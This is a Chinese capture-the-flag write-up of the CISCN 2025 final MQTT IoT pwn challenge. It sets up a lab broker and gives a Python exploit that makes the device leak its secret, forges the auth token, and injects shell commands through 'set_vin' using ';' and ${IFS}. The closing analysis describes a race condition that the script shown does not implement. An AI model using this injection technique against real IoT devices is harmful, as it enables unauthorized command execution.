ciscn2025 final mqtt - - mqtt协议入门
网络安全 iot pwn 16

题目链接:

链接: https://pan.baidu.com/s/1tLbmwh_xPTEeBk20TlhLJg?pwd=8nax 提取码: 8nax

题目来源: ciscn2025

0x01 赛题背景与架构

MQTT (Message Queuing Telemetry Transport) 是一种轻量级的发布/订阅消息传输协议,广泛应用于物联网 (IoT) 设备中。

赛题架构:

  1. Broker (服务端):消息中转站(通常使用 mosquitto)。

  2. Vulnerable Device (受害设备):连入 Broker,订阅特定主题,负责处理指令。

  3. Attacker (攻击者):连入 Broker,通过发布消息攻击受害设备。

漏洞逻辑

  • 信息泄露:攻击者可以诱导设备发布其内部的 Secret/Flag 到公共 Topic。

  • 命令注入:设备在处理 set_vin 指令时,参数过滤不严,导致可以拼接恶意 Shell 命令。

0x02 环境搭建

一台 Linux 虚拟机(Ubuntu/Kali),安装 MQTT Broker 和 Python 开发库。

# 1. 安装 mosquitto 服务端和客户端
sudo apt-get update
sudo apt-get install mosquitto mosquitto-clients

# 2. 安装 Python MQTT 库
# 注意:在较新的 Linux (如 Ubuntu 23.04+/Kali) 中,直接 pip install 会报错 "externally-managed-environment"。
# 解决方法 A (推荐):使用系统包管理器安装
sudo apt-get install python3-paho-mqtt

# 解决方法 B:创建虚拟环境安装 (如果你坚持用 pip)
# python3 -m venv venv
# source venv/bin/activate
# pip install paho-mqtt

# 3. 启动 MQTT 服务 (默认端口 1883)
sudo service mosquitto start
image-XvDH.png

0x03 题目环境修复

题目附件通常包含二进制文件 pwn 和依赖库(libc.so, libpaho... 等)。直接运行通常会报错,必须按以下顺序修复。

1. 移出共享目录 (防止权限问题)

严重警告:不要在 VMware/VirtualBox 的共享文件夹(如 /mnt/hgfs/)中运行题目,这会导致软链接失效和权限错误。

# 回到用户主目录
cd ~
mkdir mqtt_challenge

# 将题目文件复制出来 (请替换为您的实际路径)
cp -r /mnt/hgfs/您的共享文件夹路径/* ~/mqtt_challenge/
cd ~/mqtt_challenge

2. 修复损坏的库文件软链接

在复制过程中,.so 文件的软链接可能会损坏变成 0 字节。

# 检查并修复 libpaho-mqtt3c
cp libpaho-mqtt3c.so.1.3.9 libpaho-mqtt3c.so.1

# 如果 libcjson 也有问题,同样修复
# cp libcjson.so.1.7.15 libcjson.so.1

3. 创建题目依赖的系统文件 (修复 "miss file.")

题目启动时会通过 openat 检查 /mnt/ 下的特定文件,缺少会导致程序退出。

# 创建目录
sudo mkdir -p /mnt

# 1. 创建 Flag 文件 (用于窃取测试)
sudo sh -c 'echo "CISCN{Test_Flag_Success}" > /mnt/VIN'

# 2. 创建 Version 文件 (这是导致 miss file 的隐蔽原因)
sudo sh -c 'echo "1.0" > /mnt/version'

# 3. 赋予读取权限
sudo chmod 644 /mnt/VIN /mnt/version

4. 赋予执行权限

chmod +x ./pwn
chmod +x ./ld-linux-x86-64.so.2

0x04 启动题目 (模拟受害者)

使用题目提供的加载器(ld-linux)和依赖库来运行,防止与系统 libc 版本冲突。

  1. 启动 Mosquitto 服务

    sudo service mosquitto start
    
  2. 运行题目

    • 在终端 1 中执行以下命令。

    • 现象:程序运行后会卡住不动(进入监听状态),这是正常的,不要关闭

    ./ld-linux-x86-64.so.2 --library-path . ./pwn
    

0x04 攻击利用

在终端 2 中,创建并运行攻击脚本 exp.py

漏洞逻辑

  1. Leak:发送 leak_request 获取 /mnt/VIN 的内容。

  2. Auth:使用 sum2hex 算法(累加 ASCII 码)计算认证 Token。

  3. RCE:构造 set_vin 指令,利用 ;${IFS} 绕过检查执行命令。

EXP 代码 (exp.py)

import paho.mqtt.client as mqtt
import time
import random

# 配置
BROKER = "127.0.0.1"
PORT = 1883
TOPIC_SEND = "diag"
TOPIC_RECV = "diag/resp"

secret_leaked = None

# 回调:接收泄露的 Flag/Secret
def on_message(client, userdata, msg):
    global secret_leaked
    secret_leaked = msg.payload.decode()
    print(f"[+] Leaked Secret: {secret_leaked}")
    client.disconnect()

# --- 第一步:诱导信息泄露 ---
print("=== Stage 1: Leaking Secret ===")
client = mqtt.Client(client_id=f"attacker_{random.randint(1000,9999)}")
client.on_message = on_message
client.connect(BROKER, PORT, 60)
client.subscribe(TOPIC_RECV)
client.loop_start()

time.sleep(1)
print("[*] Sending leak request...")
client.publish(TOPIC_SEND, "leak_request")
time.sleep(2)
client.loop_stop()

if not secret_leaked:
    print("[-] Exploit failed: No secret received. Is the challenge running?")
    exit()

# --- 第二步:计算 Auth 并 RCE ---
print("\n=== Stage 2: Sending RCE Payload ===")

# 真题核心算法:累加求和转 Hex (Sum to Hex)
def sum2hex(s):
    total = 0
    for c in s:
        total += ord(c)
    return hex(total)[2:] # 去掉 0x 前缀

auth_token = sum2hex(secret_leaked)
print(f"[+] Calculated Auth: {auth_token}")

# 构造 Payload
# 1. 使用分号 ; 闭合前面的 echo 命令
# 2. 使用 ${IFS} 绕过空格过滤
# 3. 目标:在 /tmp 生成 pwned 文件
cmd_injection = "A;touch${IFS}/tmp/pwned;" 

# 最终格式:set_vin:认证码:命令
final_payload = f"set_vin:{auth_token}:{cmd_injection}"

print(f"[*] Sending: {final_payload}")

client2 = mqtt.Client(client_id=f"attacker_rce_{random.randint(1000,9999)}")
client2.connect(BROKER, PORT, 60)
client2.publish(TOPIC_SEND, final_payload)
time.sleep(1)
print("[+] Payload Sent!")

执行攻击

python3 exp.py

0x05 验证结果

攻击脚本提示发送成功后,在任意终端检查 /tmp 目录。

ls -l /tmp/pwned

如果看到 pwned 文件存在,说明命令注入成功

逻辑分析:

漏洞在这里:

先做了鉴权,然后根据cmd传入的值,执行不同的操作,arg是传入的参数。

漏洞点存在于当cmd为set_vin的时候,存在明显的命令注入

image-Nazn.png

仔细分析逻辑可以知道,程序开始读了/mnt/VIN的文件内容,并将它赋值到dest全局变量中。

在鉴权环节,会将dest中的内容进行处理,给到s2,然后比对auth和s2是否一致。

但在sub_1E1A中,会将dest的内容发布到 topic="diag/resp" 中,需要在exp中接受dest,并采用sum2hex的处理方法计算出auth。

check_arg对参数限制为数字和字母

注意到在每次检查通过进入if分支之后,有一个sleep(2),而arg是一个全局变量,该回调函数又是通过线程创建,可以看出为条件竞争race condition

思路:

1.计算auth

2.race condition,首次构造arg为任意字母数字,通过check,再马上pulish_msg,将arg改成我们的指令

3.成功popen执行命令


ciscn2025 final mqtt - - mqtt协议入门
https://www.kiki1e.top/archives/ciscn2025-final-mqtt-----mqttxie-yi-ru-men
作者
kiki1e
发布于
更新于
许可